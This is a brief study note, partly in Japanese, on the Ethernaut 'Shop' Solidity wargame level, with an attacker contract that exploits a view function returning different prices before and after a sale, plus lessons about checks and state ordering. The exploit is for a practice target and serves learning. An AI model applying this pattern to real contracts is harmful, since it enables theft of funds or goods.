✅ value is changed in one function

viewの脆弱性があって、storageに保存されていないから誰かにpriceを設定されたら取られちゃうよみたいなことくらいはわかったけど

abstract contract IShop {
    uint public price;
    bool public isSold;
    function buy() external virtual;
}

contract ShopAttacker {
    IShop public challenge;

    constructor(address challengeAddress) {
        challenge = IShop(challengeAddress);
    }

    function attack() public {
        challenge.buy();
    }

    function price() external view returns (uint256) {
        return challenge.isSold() ? 0 : 100;
				// true => 0, false => 100
    }
}
_buyer.price() >>> これで発動ってことかな?

Stateを参照し合うのはよくないよ

最初にverify!!!(require,assert)

Stateを変える!!!

Ethernaut

Ethernaut Hacks Level 21: Shop